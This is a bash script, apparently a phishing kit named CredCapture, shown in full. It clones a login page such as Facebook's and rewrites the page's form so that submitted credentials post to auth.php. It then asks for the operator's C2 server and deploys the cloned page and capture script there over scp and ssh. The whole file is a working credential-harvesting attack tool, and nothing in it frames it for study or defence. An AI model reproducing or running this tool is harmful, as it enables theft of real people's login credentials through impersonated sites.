CredCapture.sh 1.9 KB

12345678910111213141516171819202122232425262728293031323334353637383940414243444546474849505152535455565758
  1. #!/bin/bash
  2. red='\033[0;31m'
  3. green='\033[0;32m'
  4. yellow='\033[0;33m'
  5. blue='\033[0;34m'
  6. magenta='\033[0;35m'
  7. cyan='\033[0;36m'
  8. clear='\033[0m'
  9. cat << "EOF"
  10. _____ _
  11. / __ \ | |
  12. | / \/_ __ ___ __| |
  13. | | | '__/ _ \/ _` |
  14. | \__/\ | | __/ (_| |
  15. \____/_| \___|\__,_|
  16. _____ _
  17. / __ \ | |
  18. | / \/ __ _ _ __ | |_ _ _ _ __ ___
  19. | | / _` | '_ \| __| | | | '__/ _ \
  20. | \__/\ (_| | |_) | |_| |_| | | | __/
  21. \____/\__,_| .__/ \__|\__,_|_| \___|
  22. | |
  23. |_|
  24. EOF
  25. echo""
  26. echo -e ${green}"Enter Login URL To Clone. Example: https://www.facebook.com"${clear}
  27. echo ""
  28. read URL
  29. echo ""
  30. echo -e ${yellow}"Cloning $URL"${clear}
  31. /usr/bin/chromium-browser --no-sandbox 2>/dev/null
  32. runuser -u pi -- ./SingleFile/cli/single-file $URL --browser-executable-path=/usr/bin/chromium-browser /home/pi/index.html
  33. echo ""
  34. sleep 2
  35. echo -e ${yellow}"Login Cloned Successfully"${clear}
  36. echo ""
  37. echo -e ${yellow}"Redirecting HTML To Capture Credentials"${clear}
  38. sed -i 's/action=.*/action=auth.php method=post >/' /home/pi/index.html
  39. echo ""
  40. cp html/loading.html .
  41. echo -e ${yellow}"Moving Index File"${clear}
  42. echo ""
  43. mv /home/pi/index.html Landing_Pages/
  44. echo -e ${green}"Enter the IP or domain of your C2 server"${clear}
  45. echo ""
  46. read C2
  47. echo ""
  48. cp Resources/auth.php .
  49. sed -i s/domain/$C2/g auth.php
  50. echo -e ${green}"Enter the user of your C2 server. EXAMPLE: root"${clear}
  51. echo ""
  52. read user
  53. echo ""
  54. echo -e ${green}"Copying Resources To C2"${clear}
  55. echo ""
  56. scp auth.php loading.html Landing_Pages/index.html ${user}@${C2}:/var/www/html/
  57. ssh ${user}@${C2} chown -R www-data:www-data /var/www/html/ && apt install php apache2 -y && systemctl start apache2